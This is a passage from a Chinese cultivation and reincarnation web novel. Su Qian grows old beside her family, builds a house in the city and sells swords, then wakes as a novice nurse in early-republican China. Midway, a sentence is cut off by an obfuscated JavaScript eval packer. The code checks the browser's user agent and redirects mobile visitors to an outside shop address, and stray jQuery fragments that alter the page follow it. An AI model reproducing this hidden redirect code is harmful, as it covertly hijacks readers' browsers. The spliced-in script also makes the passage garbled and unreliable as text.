“没事,我就是回来看看,顺便去镇上采购些东西。”祖父年纪真的大了,已经到了练气初期的寿命大限。这几年外祖父和祖母接连过世,让他每天就都觉得也许看不到第二天的太阳而少了活人气息。苏茜观察了会儿,再探了他的经脉,结论就是,老人的所有脏腑经脉都衰老到了非人力能回天的地步,没有严重疾病但也不存在健康。她买了制药和医疗方面的专业书,正啃得起劲,也买了各种能买到的、自己也有条件种植的凡人修士通用药用植物的种子或幼苗。但衰老是没药可医的,只能保健。
“大姐,这些药草粉每天随便选一顿饭,和灵谷一起做了吃。大家都吃,也没有太大的功效,就是冬天少生病。”其实不止这点效果,但是如果不配合大量修炼和严谨的生活是没用的。
“好,谢谢了。”苏明握了握妹妹的手。两个孩子现在宇清城学堂上第二年,且都在甲班,这让脸上明显出现岁月痕迹的苏明精神面貌相当不错。
“秋天的那场雨影响收成了吗?”
“还行。只减了两成。倒是你,干嘛不要家里口粮?!”
“我自己种了几亩灵谷,一个人吃也够了。留着,放我做的粮仓里。我觉得,这以后每年的收成都是不固定的。如果地税有变化,可以稍微交点灵谷交税,但不要再卖了,就夸大天气的影响。二哥,听到了?家里不缺卖灵谷的几百灵珠。”
“确实,我去年开始不在学堂里做,地税就要灵谷加灵珠了。”这个时候,苏明才清楚地意识到家族成员为城主府对家庭的影响。“好在英文的符术和武技都很不错,估计能去城主府。”不去也得去,否则搞不好都撑不起十六亩地。
“如果英文或英武的后代没去处,正好继承我的地。”那个地段、出产和面积,真心没人感兴趣。“我打算年纪上去后搬去宇清城。”
“你好像在宇清城买了房子?”
“买了。七千灵珠,城南带院子的二层小楼。楼很破旧了,到时我自己重新建个房子就行。不需要交税。”她正好去卖东西的时候看到这套堪称最便宜的宅子挂牌,脑袋一热就将货款换成了房子。由于那院子有一口井,屋后是条小河,左边和前面是街道,右边七八套全部是类似格局的房子,无法扩建住不了几口人,院子面积过小种不了东西,只适合单身人士,可偏偏价格又比无院三间小屋贵几十倍,往往只有单身老人会买。
对了,之前的房主一个人死在那房子里,化为白骨才被发现后收回。因此市价一万挂出来五年都没人买,不得不降价,降到七千也过了快两年才碰到一个苏茜。城南的宇清堂简直乐疯了,城里真的很少有七八年无人要的房子啊!全都是那套房的各种传闻闹的。
“那真的很便宜了。镇上最小的院子也要好几千。”还比较吵。
“如果有余钱,镇上店铺不一定买,有合适的宅子还是可以看看的。”苏茜建议道。“钱不够我借你。”
“放心,娘还有养老钱。”苏英女笑着摇头。她也不喜欢镇上的嘈杂,但小女儿的建议不错。很可能将来的英文就是年轻时的自己,但这谁也说不好十六亩地给哪个孩子的后代。等自己年纪真的大了,住镇上有吃有喝有医师的也不错。
苏勇听着,一句意见也没。还要自己重新建房子,估计面积比妹妹山顶的那个空旷冰冷的小楼大不了多少,还不如他住了一辈子的这个里外两间、温暖还放满东西的窝舒服。说实话,如果修为增长需要恶劣的环境、简单的饮食、大量的修炼和不停的劳作,那他还是现在的状态更好,哪怕自己看起来像是妹妹的爹也无所谓。老了以后,反正他不可能活得比祖父还长,有弟弟妹妹和外甥外甥女照应足矣。
吃个午饭、说完事情,苏茜穿上自己做的带帽披风,拎起堂屋门口的两根奇怪的木棍就离开了。
时间已是下午。
天色阴沉,昨天暂停的雪与寒风卷在一起四处纷飞。地上的积雪已经快到膝盖,这片田地只有零星几行脚印。前些天的车轮印早就被积雪覆盖,四野一片白茫茫。
苏茜没逞能浪费灵力使用法术,也没深一脚浅一脚地踩着雪慢慢走,而是两步上跷,手握木杆,快速地用两个高跷走雪地,很快就消失在风雪中。
苏勇在门口看得目瞪口呆,同时看呆的还有苏明。
“从没见过这种。”
“每根长木棍上有脚踩的地方,这样走雪地快一些。”才怪!首先要在看不清路况时踩在两根木头上保持平衡,其次还跑那么快不摔跤。
“她是练气后期。”苏明关上门。回想那木棍的构造,考虑自己行不行。
苏英女夫妇问什么情况,苏勇绘声绘色说了。“还好我们这一带都是平原田地,过去的路也很好认,不然会摔到沟里。”
“她有修为,有武技,不会伤着。”苏英女一听就知道,“比用法术踩着雪回去省力。”
但还是伤了。
苏茜揉着被石头撞出一个肿包的脑袋,放弃使用好不容易做出来、还没用完的地遁符石,在风雪里休息了会儿才继续用高跷赶路。
这个“高级”符石花了不菲的精力和成本,结果换来一个包!最让人火大的是,她在自家山头看到了一串不该出现的脚印,动物的。
苏茜扔了高跷,刀出鞘,冲进门被撞坏的茅屋,将闯进来取暖兼偷吃灵菇的,猪?或是什么的,一刀劈成两半。
由于刀锋夹带着火系法术,没有鲜血四溅的场景,那头体型颇大的动物连反抗挣扎都没有就死了,黑暗的空气里一股焦肉味。
很香的肉味。
苏茜先将两爿肉扔到岛上,然后修复了下茅屋门。灵菇还剩下大半,估计是这只动物咬到腐木觉得味道恶心而没有继续糟蹋。可苏茜决定将这一屋的灵菇全部卖了,然后全屋清洁消毒后重新种。好在她现在种灵菇的大头其实是两件茅屋中间下方的地下室,那里有四间茅屋的大小,一直延伸到小楼下方,出入口也有两个。这只动物压根没有闯到地下空间去,因而造成的损失不算太大。
再然后她一路踩着高跷沿着明显的足迹进行清理,直到另一个山头下方。再返回,看看那肉怎么吃。
站在“猪肉”边,苏茜发现这应该是一种养殖妖兽而非普通野猪之类,有一对小巧的角和一对锐利的獠牙,肉质倒是含有灵气。
能吃!
可惜是不能拿回家分享的那种。
她清理了自己的长刀,将肉拖到海边,摸出自制菜刀,轻松切掉脑袋尾巴和蹄子扔进海里喂鱼——四只蹄子处理起来太麻烦,不如放弃——再开膛清理,只留了心和肝,其他也全扔掉,血同样不留。稀疏而硬的长毛拔起来很麻烦,但是她能看得出皮质不错,只能先将皮毛连皮下脂肪与肉切开。
肉质新鲜紧实。
她搬来烧烤架,切薄片撒盐试着烤了一片。烤的时间略长些,然后吃了一口。口感一般,有浓重膻腥味,但灵气还行。加高级调料腌制了再烤,这回就好很多。
她用兽肉填饱肚子,将其余可以吃的肉全部切下,海水里清洗再用淡水清洗,光肉就有两百斤的样子。她找出来一批廉价箱子装肉,打了封存符埋进雪堆里。继续清理皮毛。
好不容易清理完毛和脂肪,皮革是需要处理的,她学的可不是硝制这种凡人手艺,而是修士手法。当然处理的对象也得是灵兽妖兽皮革,不然普通皮革立刻废了。
等做出来,她才发现这个皮子其实是很常见的革甲材料,当然这里的常见不等于便宜,一件胸甲得几万灵珠,可也不是用灵石计的高级货。
行吧,是个不错的收藏品,她找来个价值二十灵珠的灵木箱子封存这块皮料。
这些干完已是第二天上午。
她吃了点便宜灵谷磨粉做的饼子填肚子,开始用大量调料在岛上炖兽肉。
这个时候再回去小楼,关上一层大门,点燃二层的壁炉,再打开二层大门上方的窗。开的窗即使不对着风口,那寒凉的空气也非常“清冽”,纷飞的雪花落在特意做出来的飘窗上。火灵木燃烧时间长却不等于温度特别高,即使苏茜的修为体质,修炼的时候仍然得在偏薄的练功服外加了件火灵木披风甚至将兜帽戴上,而坐着的是双层火灵木坐垫。
早晨开始风更大了,不高的山顶也能有个七级。天光昏暗,雪都没什么反光,整个世界只剩下风卷着雪呼啸而过的声音。
大风雪天气里,修炼的效果似乎最好?
苏茜感受着自己的状态,收功回岛上。肉已经炖好了,小火慢炖加高级调料,导致一锅肉非常好吃。上一次吃到特别好吃的东西是什么时候的事了?苏茜半天没想起来。也许是最“简朴”和最精致的都吃过而无所谓,加之修炼之后对好吃的定义跟凡人时的定义根本不一样。将新的肉块塞进嘴里,醇香酥烂,不愧是砸了整整一个灵珠的调料做出来的,简直停不下来,不论从口感还是灵气都挑不出毛病。一锅肉是一整块切成的,加起来有四公斤多,不可能一口气吃光。她吃掉了一层就饱了,然后上手操作,将肉块弄成碎肉,与汤汁混合后封了盖子直接冻到小楼室外做成肉冻。雪停了,黑暗的室外现在居然是华氏零下二十度,考虑到现在是白天,所以大概冷出了五十年来最低。
雪地里一点痕迹也没有,在楼上楼下时神识里也没有异常。她跳上小楼和茅屋房顶,将积雪全部扫下。火灵木在雪堆里仍然一点不受影响,不多的金红色叶子抖擞得很。苏茜想了下,干脆将雪面上的叶子大部分薅下来。一是做绿肥,二是省得让人远远看见这里有灵木林而起偷盗的念头。
不过,她还是看到靠近山路边有两株火灵木近期被砍掉了积雪上的部分。算了,也没损失什么,就当是与人方便,说不定少冻死一个人也是好的。但她的神识并不能覆盖到山脚区域,能敏锐察觉的只到半山腰。这还是没成材的半大火灵木。灵植种植基地所需的人手很多,光防盗就需要费很多力气。所以她的灵植、灵药只种在山顶区域,就是方便看护。
转身回二楼的时候,有个兽车队经过。苏茜没回头,但神识没有收回,脚下也没有深浅脚印。
她回了二楼,车队过去。相安无事。
等修炼完毕,苏茜又出来,将半山腰之下的火灵木全部砍到积雪以下。回收,一批批放壁炉边烘干,初加工、精加工,处理成灵木棉絮。其他时间就做别的可以卖的东西,天马行空地又做了些可能让苏勇不知道如何介绍的商品。
这个过程持续到积雪融化,砍掉的火灵木又长出来些。
融雪的天气自然不会暖和,不过一直在华氏零下十度以上。苏勇卖的各种保暖品被一抢而空。镇子本身的人口也就那些,但架不住周边的人听说后在交通恢复的第一时刻就冲过来扫货。灵珠加金元的定价让很多低阶修士乃至凡人都乐意接受。店铺则早就放弃这种生意,没法子,价格做不过,因为除了苏茜没有修士接受“仅仅”一两个金元的手工费。
而苏茜又弄出来一个山洞,专门放金元。如果有下辈子的话,是真的可以吃饱穿暖……了吧?应该,大部分文明都接受这种贵金属吧?苏茜突然不确定起来。
要不,还是多弄点冷兵器,耐保存,变不了现但是能“挣”现钱啊,起码可以保护自己的财产不是。另外就是一些不太好说的灵植,有毒性的那种,全部种岛上——灵植和普通植物的生命力是不一样的,只要不是对生长环境比较苛刻的,都可以试试。但为了好看些,她买齐了几十种配方三四百种灵植,但和武.器一样都从不同的店家购买,不然可能被丹药铺揪住不放。
* * *
“这孩子,没有修炼资质……”
“我知道,他那边也都检查过了……给她买了十亩地做嫁妆,不过在宇清城附近,不太适合种好的灵谷,但地税也便宜,可以用普通粮食交税。”
从苏英女到苏明到苏茜全部鉴定完毕,小女孩儿没有修炼资质。苏英文其实自己也鉴定了的,但为了确定,又找来所有亲属。她本来打算与孩子的父亲成婚的,现在双方都没有结婚意愿了——这种做法在修士家庭中很常见。不过孩子的父亲给孩子买了一块宇清城附近的田地作为抚养费,而孩子的教育抚养由母亲家庭负责。
“家里请个人吧,签五年契约,然后可以去凡人学堂念书。”纯凡人连饮食都跟家里人不太一样。
“我带回去吧。兴家大姐的第二个孙子也是纯凡人,今年三岁。”苏越突然提了句。兴家大姐只有一个儿子,但家里孙辈已经有三个了。
“行。我们出钱请奶娘和男女仆,还有日常生活,上学之前就住兴家那里。”也不能真的当童养媳。
“没事,我在呢,不能委屈我甥孙女。”十亩田地,再薄也要花九到十万灵珠,兴家不会不满意这份嫁妆。而苏家也满意,两家本来就是姻亲,兴家大姐的儿子现在是练气中期,当然不可能把二儿子放逐到十亩地上自生自灭。自家的孩子未来还是有保障的。
苏茜默默送上给新生儿的礼物包。苏英武倒是比较顺利,就生了一对双胞胎兄妹,资质似乎一般,但起码都能修炼,但他与妻子是不敢再生了。
而苏英文彻底放弃生育,将孩子给舅舅照顾后又回了工作岗位。
这就是本地人口数控制得不错的原因:有实力的家族不想生下无法修炼的孩子,养不起孩子的家族不敢生太多导致一起饿死。
最难过的居然是苏勇。
“其实,我可以来照顾孩子的。”他对苏茜嘀咕道。
“你我都没时间。而且凡人孩子吃的东西也跟修炼的孩子不一样。”家里基本不吃凡食,让孩子怎么办?因为吃东西而亡?!
“我可以买凡食给她吃。”
“然后让孩子自卑到郁郁而终?”
“……”
“我们家连外祖母都能修炼,房子也只适合修士,孩子可能都无法活到成年。”光是盥洗和住宿条件都能让她从此体寒不育。
“……幸好我当年没有成亲生子。不然我都挣不出孩子的嫁妆。”他这些年全部赚到的大概也就十万灵珠,可刨去吃用,手头只有两万都不到。
“你可以在镇上买个宅子。这样有时天气不好的时候还能住一下。”
“不了,浪费。而且我好歹是修士。”没有自己的房子,就完全可以在家里终老。
行吧,苏茜对此不表态。她得去一趟宇清城建房子。
去年的天气算是很不错,夏天不算太热但也没有来若干冰雹之类,春秋气候多变但总体算是舒服的,冬天特别冷的日子不多,雪只下了两场,到今年开春后没有出现倒春寒和严重干旱等问题。
就是略旱,但河流还是正常的。
苏茜每天五车水二十桶水,用小勺浇不同区域的灵木灵谷和灵菜,几天一个循环再浇水。缓坡现在也多了很多弯弯绕绕的硬化土路,方便她推车浇水施肥顺便松土除草。她的灵力都用在处理杂草草根土壤以及虫卵,都在别人看不到的地方。
看不懂的还以为修炼不易,练气后期也要省着灵力用。
看得懂的则过来探讨修炼事宜。
“树里也是有虫子的。不过我为了做保暖衣物砍得早,从没有出过问题。”
“用木系探测?”
“对。其实木系探的是木头,而不是木头的就突出来了。”
“……怎么会有那么多不是木头的?!”
“有不少杂质混进去了。但那些都很小,稍微大的,类似虫蛹的那些才可能是。”
“我来试试……”
集安比苏茜年长,练气后期,地比她的大一点,却是座很高的山头,很高、很陡,平地只有山脚的一点点,凡人上下山大概要半天时间,也因此地税很少,价格也就不到十万灵珠。山脚是让集安的女儿女婿种的,山上只能种灌木和少数几棵树木。但集安种的灌木是灵植,必须精心护理几十年,一百颗种子最终只有五株成材。由于极高的折损,所以这剩下的一点点都是卖灵石而不是灵珠。
“听说你在宇清城买了个平价房子?”好一点的又不是买不起,当他不知道那些“很便宜”的东西成本是多少吗?!
“我一个人,住上下两间就完事了,修炼养老,吃喝在城里买现成的。这块地便宜些转卖给我姐姐的孩子。所以不需要好的宅子。”
“这倒也是。”集安这个山都不知道以后给谁,因为女儿女婿、两个外孙,全部是练气初期!“我的后辈根本没法种灵植,我还打算把地卖了换镇上的前店后宅。”
“你要不还是培养曾孙。”这家伙原来打算把那高山溢价卖给她吗?呵呵,做梦!
“说不定是凡人呢?!”也是因为知道苏茜的妹妹也生了个纯凡人,所以集安才看她顺眼一点。
“我觉得镇上的房价够呛。”
“可镇上的铺面连宇清城的零头都不到。”
“也是。其实吧,我是觉得,做个工坊也不错。您女婿不是造物毕业的?”
“一个练气初期。”集安摇头,“很多人都知道你的晋阶法子,学的人不少,成功的一个没有。”
“……”那就没法子了。她也不知道其他人如何晋阶。
等第二个像集安那样的人跑来东打听西暗示的,直接让苏茜将地转给年纪上去的苏明,连税在内六万六——这是苏茜算好的价格。苏英文鼓起勇气生了第二个孩子,男孩,能修炼。苏英武也终于找到愿意一起琢磨个孩子的女修,生下两个有资质的孩子、一人一个。所以苏明,或者也许是快要到大限的苏英女,将积蓄拿出来低价买下妹妹的山头,到时候看怎么分。至于家里十六亩地的未来归属,是几十年后的事了。
“我知道你吃了亏的。”苏明还是挺感激苏茜。算是土地建设的投入,妹妹其实是送给后辈好几万灵珠。
“无所谓,我也不是要补贴小家伙,纯粹是不想一个人待在山上,每天吃一样的食物。”就是不想被练气后期的前辈们逮住推销土地、推销后辈、推销东西。换了自家吃饭都成问题的外甥,压根没有好处可以让别人得。
可没过多久,苏茜刚办完手续搬走自己的东西时,祖父苏成平静地过世了,享年一百一十五,在练气初期里算是比较长寿的。
但仅仅两年后,修为退化到凡人的父亲苏力也过世了,距离一百还差几岁。
“二哥,继续修炼,不能停。”苏茜拍着苏勇的肩。他在修炼方面绝对是懈怠了,修为明显退化。
“小茜,我还是个修士。”
“不修炼就不是。父亲寿命比祖父短,就是因为修炼不足。”
“……真的?”
“真的。我现在已经是练气后期顶峰了,虽然没希望筑基,但你看我的脸,看上去跟你差多少岁?但如果不保持每天三个时辰的修炼,我两三年就会变老。”苏茜的外形,看起来三十多没有皱纹斑点,而七十岁的苏勇就是中老年人模样。但另一方面,只要知道苏茜的年纪,立即能相信她的修为。所以宇清城里的住处附近所有人对她都很尊敬,真是让人拳头无处挥。
“三个时辰!我可受不了。”苏勇摇头,他一点都没兴趣继续那样无聊的人生。反正总会死的,干嘛那么折腾,爱吃吃、爱喝喝、爱睡睡、爱对着天空发呆就发呆。
“……”
在镇上墓地安葬完父亲已经是下午,苏茜慢慢走回宇清城。
就是两条腿走路,从下午走到第二天清晨。入冬了,没有积雪但是结的霜中午都不化,天气怪冷的。
路过的人看着一身看起来很单薄的短打练功服,不紧不慢走着路的苏茜,不敢搭讪更不敢招惹。
“这位前辈要走路去城里吗?”少女问道。
“前辈自有前辈的方式,你闭嘴……什么时候到练气中期,什么时候一切你自己决定。”
远处的兽车上,一对父女或祖父女聊着正在走路的人。
苏茜能听见,但无所谓。
宇清城已经出现在肉眼可见范围内了。走了那么久,只喝了水吃了些干粮,还去岛上用个马桶。
不过确实有些饿了。
再走一里路,也就是不到两公里的样子,就到了城外的商业街区。很多人都是大早进出城的,不少人就在这里解决肚子和补给,可以坐下慢慢吃,也可以买了带走,预订明后天的也行,还有买了生了拿回去煮的。
苏茜前些年就开始喜欢上这样的烟火气。兴许是到了退休年龄,不再喜欢一个人干活修炼的状态。
“十个灵谷饼。带走。”她不吃凡食,纯粹是因为即使凡食填满胃部仍然觉得饿,必须用含有灵气的,实在不行修炼代替吃东西也可以——俗称辟谷,可如果不修炼做活会消耗能量,那么仍然需要吃东西。即,干活就得吃灵食。不干活、不练武倒是可以不怎么吃,但对身体和整体实力是不利的。因此她起码每天一顿灵谷。一灵珠一个的灵谷饼,放几天不会坏,十个饼可以吃三天。
说到饼,她又看了眼滋味不能说美好的饼。她突然就想念起甜大饼、甜豆浆、油条、咸豆腐脑和麻花之类,有几百年没吃过了……豆浆豆腐脑是不可能的,本地没有这种豆子和食物制作方法,不过甜大饼和葱油饼之类也许可以试试自己做?
她走进城,转到巷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983882|193506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子里的粮食加工作坊,买了三种不同的灵谷面粉。糖是有,不过不是灵食;葱……没有,换两种灵菜试试,食用油倒是含有一点灵气的灵食。
大包小包地从后巷回到自家小楼,直接穿墙而过,进入一层厨房——有两个人亲眼看见,愣了半晌也过来试验,结果撞墙上还差点受伤,因为这个墙面光滑且极为坚硬。
“这位是前辈,进自家屋子有她自己的法子。我们走吧,快走!”一个只是用手推的人拉走了狠狠撞到鼻子差点哭出来的同伴——修士还能把鼻子撞哭,太丢脸了。
苏茜知道后面有俩跟着,也“看”到了倒霉撞头的小家伙。啧,哪怕是练气后期也不是能随随便便穿墙而过的。最关键的是,她在那个穿过来的方位做了阵纹布置,再配合土系法术就能进来。事实上,她的宅子现在连大门都没了只有推车进出的吊门,平时放下,推车或兽车则拉起,是符文和机关配合的产物,门后甚至还有一处二层高的停车场,顶上是个阁楼连接两边的房子,底下可以容纳几辆推车。而从外面四个方向任何角度看,这房子就是一栋二层建筑,一层无窗无门,二层一段间隔有一个不算大的窗。可如果身处二层,打开隔板,房主看到的是全落地窗,可以看着街道上的人来车往,河上时不时通过的船只和小动物。
房子中间则是面积太小的中庭园子种了点灵谷,楼顶种的是大棚灵菜灵茶,一层人工培育不同品种的灵菇和喜阴灵植,二层分成好几个工作室和仓库,地下室还能锻造,啥都不耽搁。除了没有种半山的火灵木,其他的和自己的山头差不多。
“……你花了多久造好的啊?!”苏家所有人现在就站在停车场里,目瞪口呆。自家拉车的兽马则得到了半桶饲料谷物和一桶清水。
“前后有四年,都是自己一点点造的。”苏茜领他们穿过中庭的步道,进入不大的客厅。客厅有一扇门,整个一层只有五扇门,没有窗。厅里椅子严重不足,所以坐垫来凑。
茶也是自制的,青绿色的茶汤醇厚微苦有回甘,茶叶本身一般,不过炒制手法还行。
“这么大的地方?”你一个人住?
“一层都种着不喜阳光的菇类。二层用来修炼休息,还有做各种东西,地下室用明火,顶楼有种菜种茶。现在喝的茶就是我自己种的。”
“真是……齐全!”
“嗯,除了不种火灵木,其他能种的都种了。就是数量不多,还是要去铺子买。”
“我不担心了。”百岁出头的苏英女点点头。
苏茜带他们出门吃饭。家人们对楼上楼下有什么没多大兴致——又不会给自己,跟着去了不到百步远的饭馆,吃了顿二十灵珠的饭,回来上了兽车就走。小辈们没有一个对这房子有兴趣的。
苏茜在车里放下几大包自产的烘干灵菇和炒制灵茶,送走一群家人,回来直接上阁楼。当然没有楼梯,也不算是飞上去,而是借力几处凸起,真正飞檐走壁地进阁楼。
说是阁楼,其实只有四柱、地板和顶棚,外面地面看不清,除非站在城里的四层楼上——附近没有高楼。唯一能清楚“瞭望”到这个顶棚和有些稀疏的低矮作物就是城南宇清堂的楼塔。
“顶楼种菜?倒是,挺省钱的。”
“那是个有了年纪的练气后期女修。底楼用腐木种灵菇,这些都不卖,全部自己吃。楼上是修炼休息和,做东西。对了,听说那种保温马桶就是她第一个弄出来给家里外祖母在冬天时用的。”
“有别人家跟着学吗?”
“有啊。现在不少家都学着在院子里和楼顶种东西……让这几年灵菜的价格贵了些。”
“灵谷还是正常价吧?”
“是。但是凡米涨了些。所以各种肉也涨了。”
“继续盯着灵谷的价格,不要放松。”
“是。”
“盗匪一个不留。小偷小摸的那些都送去种地养兔。”
“是!”
塔上两名修士的注视和议论当然影响不了苏茜,她也察觉不到。
种植这件事,每天不做点什么会心虚的。尤其是肥料其实挺麻烦的。她想到了就会去饭馆、菜场、养殖场收集厨余乃至畜粪。很多人问她拿这些没用甚至肮脏的垃圾做什么,她说做肥料。大家呵呵哈哈几下就完了。
没这个习惯,也没人喜欢。大家种灵谷灵植都是用草木灰,坚决不肯用“低下”的原料。也所以,她自己种出来的东西是卖不出去的,大家心理上就不接受,也没有多余的可以卖。
“称五个灵珠的二等黄谷。”
“好!”
她生活花费不大,但买种子材料等等花出去之后,手头只剩下三万多灵珠。所以她得继续做东西,不然偶然馋了或者家里来人都没钱吃馆子。
宇清城里的工商业远超任何镇子,甚至周围万里的城市也只有两个曾经的宗门驻地能与宇清城相比。
“放开兵器管制,直接的坏处就是罪案四起,侍卫都查不过来,最终只剩下剽悍盗匪后裔能常年住在本地。”
“可不放开就会被周边侵扰,吞并!”
“那又不是我们宇清,那是太清和峥明的事。”
“我说的不是大城,是壬水的教训。”
“壬水城最高修为是筑基初期的壬城主,他过世后当地连练气后期的都没有,当然没法子。所以兵器不兵器的,有用吗?”
“可我们宇清最近十年有新筑基的修士吗?”
“其他地方也没有啊。那我们担心个啥?”
“如果更远的地方有呢?”
“那也是我们子孙担心的事。”
“……”
“……”
不知道什么时候,也许已经有几百年了,这类茶馆的二楼就成了修士们专属场地,而凡人一般只去一楼。
苏茜只是路过,从听到兵器开始就停下,边听边思考。武.器啊,好生意。现在宇清城管制的只是练气中期及以上用的炼器产品,普通压根不管。还有,本地没有修长飘逸、装饰美观的剑,市面上更没有飞剑这种玩意的存在——飞剑必须有修为来支撑,剑本身没本事飞。
她改了路子,略过之前经常合作的商家,往铁器铺。本地的铁器不仅是卖铁锅菜刀,还卖各种金属材料、制品乃至防身用品,比镇上的三家铁器铺不仅面积大得多,种类也丰富无数倍。
“这位贵客?”凡人店员过来招呼。
“不算是客。”苏茜研究了陈列的各种防具和冷兵,抬头看向觉得不对过来看情况的练气初期店员主管,从自制的金属皮革腰带钩上取下长剑,“看看这个,你们收吗?”
主管首先注意到的是苏茜与众不同的腰带结构,因为本地都是背刀的,然后才发现手里的这东西同样也很特别:他不知道要看什么!
苏茜指了下关窍,“拔出来。”
主管试了几下,终于顺利拔剑出鞘。
第一个反应是很轻的窄刀,第二个观感是非常锋利,第三个念头就是这玩意也是能杀人的吧?!
店里凡铁区有几个顾客,都是纯凡人不会过来,这片全部是灵珠计价的区域人很少,可还是有两个练气修士,听到了奇怪的声音过来看新奇。
“这个,我称为长剑。”本地是有剑这个名词,但多是玉石乃至灵石制的装饰品,短小精美,让苏茜猜测千万年前修士的剑已经成了后来普通人的礼器。她拿过剑,扔出去又收回来,庭院里的一颗装饰用水灵木少了一段枝丫。
“这个卖给我,卖给我!”
“我也要,多少灵珠?!”
两个修士顾客眼都直了,立刻冲过来。
“剑本身不会飞回来,需要神识御物。”
“知道,知道,我现在还办不到。”但是轻巧锋利啊,而且可以附着金系法术不散,直到切切实实砍下灵木。
“招式其实与刀差不多,胜在分量。”她又从挎包里摸出一柄短剑,轻巧锋利可附法术。“符文阵纹和其他东西自己做。剑鞘很坚硬,可以作为抵挡之物。剑鞘本身有一点保养清洁功能,不过后续也要自己弄。”
长剑五百,短剑三百五,给店里二十的见证费,送带钩,简直是比灵菜还便宜的价格。店里最便宜的普通防身长刀得两千五灵珠,还颇重,对练气初中期而言绝对没有长剑好使。
店员主管也红了眼,拉住苏茜谈寄卖或是收购价。
而苏茜打算做来料加工。店里给材料,她制作,不问售价,只按等级和加工难度收一百到五千的加工费。
最后是店老板跑来谈的。剑这东西杀伤力主要看主人的本事,而且不是管制品种,随便造。而苏茜用一百灵珠的超低价直接打乱了五百起步的防具加工市场。另外,她天马行空地用装饰宝石和锻造纹路作为符文载体、拼接出让人眼花缭乱的不同花样,提升了剑本身的美观实用性,给店家打开了新世界的大门。
宇清城中兴起的审美风暴刮到万里之外,那就是后话了。
……
苏英女过世的时候很平静,是整理好后坐化的。宇清城修士入葬的风俗就是火化后只留牌位,因为很久很久以前,邪修总是挖出土葬的修士尸.体炼尸作恶,之后就习惯了火葬不留后患。至于凡人,土葬和火葬都有,全看家族受修士影响多深。
堂屋连通的小屋就是全家牌位的供奉地。修士没有过年祭祀的习惯,但每到婚丧大事都会来一趟。
全家老少五代人整整齐齐地来悼念一家之主的过世,最小的才四岁。
苏茜给每个未成年的后辈都是一小袋灵珠,其他人都是一块防御符石、包括兄弟和大姐。
苏越只给了小辈灵珠,比苏茜的少。
苏勇九十出头,又不乐意好好修炼,要不是灵食撑着,根本活不到现在。他无法跟苏明一样还能种地,好在倒也没啥病症。苏茜私下额外塞了一袋灵珠给他。
曾经的山地现在是苏英武的两个孙子在耕种经营,天天忙得还挺乐呵。
“那里适合修炼,所以不要断了修炼。”苏茜跟两个二十多岁小伙子道。她走之前是重新改造了二层小楼和茅屋,成为二楼二底外加两间大屋,至于那俩小子要怎么改跟她无关。
“是!”两个年轻人对着看上去也就四十岁的曾姨祖大气不敢喘。修士的实力与面相呈反比,越年轻越强。
苏茜没有多说,他们两个资质一般,努力一般,也就,一般般的练气初期。
“大姐,还是要好好培养后辈。”
“我知道。”但九十好几的苏明也知道,她和自家后辈看起来就没有一个能达到练气后期的。等她闭眼了,后辈们如何就与自己无关了。
等苏勇也百岁不到终老时,苏明的外表彻底成为了老人。连苏英文的外表看起来都跟自己差不多年纪。苏茜就明白,这个家、这块土地跟自己的牵绊差不多了。
嗯,该退了。
14.当年的护士(一)
不是英语,而是意语?
哦,太棒了!
宗教经文,专有名词?
哦,太糟了!
但无论如何,见习姐妹苏茜成功地凭借语言“天赋”让自己没有受什么罪。饭前和睡前祷告完全不是问题,尤其是头巾可以很好地掩饰她“不正常”的短发以及发色有些发棕的“问题”。
埃利松嬷嬷觉得她很可能有外国血统而被家族遗弃。苏茜自己知道,这个姑娘不想年仅十一周岁——虚岁十三,俗称“豆蔻年华”——就被家里嫁给一个黑瘦农夫家的男孩而跑出来当乞丐,最“有趣”的是对方家庭说是砸锅卖铁凑了五两银子的彩礼,而女家是打算用这笔钱来给十二岁的儿子娶媳妇。
她不记得那笔钱有没有付过来,反正那时的“她”跑了,几年后玛丽堂多了位能说华、英、意三种语言的见习姐妹。
天天做贼一样兑换货币、搞吃喝的日子太见鬼了,最要命的是到处都是人的情况下,进出小岛的身法必须堪比武林高手。关键是,哪怕宰了几个不怀好意的,一点好处都没有,身上就一把脏兮兮的铜板和三两大洋,臭烘烘的衣服烧了还浪费木头。对了,要不是岛上的树不是很粗壮,她现在都砍不动!要命的是找不到买煤的地方,而柴禾一担担的买还特别显眼,真是愁死人。
是,上辈子自己勉强算是高手,攒的金子跟小山一样,不太厚的一块料子能在下雪天不冻死,小刀割喉跟切菜一样容易。但是!这是没有灵气只有乞丐、士兵和长袍辫子的平城!哦,不,辫子剪掉了。谢天谢地,那玩意太考验自己的审美了。
“苏茜姐妹,你真是努力。”从磕磕绊绊的词汇堆砌,到现在一口流利的表达以及经文和专业书阅读,只花了两年时间。
“埃利松姐妹,你打算睡了吗?”
“没事,你继续看书。”
“哦,我也打算祷告了。”放下意文版的护理札记,和室友一起祷告,然后关灯睡觉。电灯,哦,好歹有电是吧。但光线不是那么的亮,对眼睛不好啊不好。
外面在似乎又要变换大王旗了,吵吵个不停,报纸满天飞。她看着竖版的字体和文言白话只觉得头疼。对了,总.统又要变成皇帝了。啊呸,估计得打起来。
可是,热武.器时代,是讲究团体作战的,个人再英勇,一发迫.击.炮的余威或者远处一发子.弹就得完蛋,最可怕的是一时死不了,折腾好几天才死。所以保命其实不是那么容易。前不久有个小报恶心死了,将一个地方砍头的照片登出来,还引起疯抢。所以这是个刚刚摆脱对皇帝磕头的时代,愚昧和先进混合在一起,各种主义乱飞、无政府的那一挂还挺有市场,而不少乡下还不肯放开小女孩裹的脚——放足了估计也是个半残废。
苏茜在早课时暗忖:如果自己裹了脚,一定自杀!
早课后就是去病院工作。
“那边的药还没有送来吗?”
“英国那里的情况你又不是不知道。”
“可是……”
“我们自己国家更没好到哪里去。”
“看来也只有美国那边可以供应得上。”
“我听说教廷那里……”
后面的声音非常小。
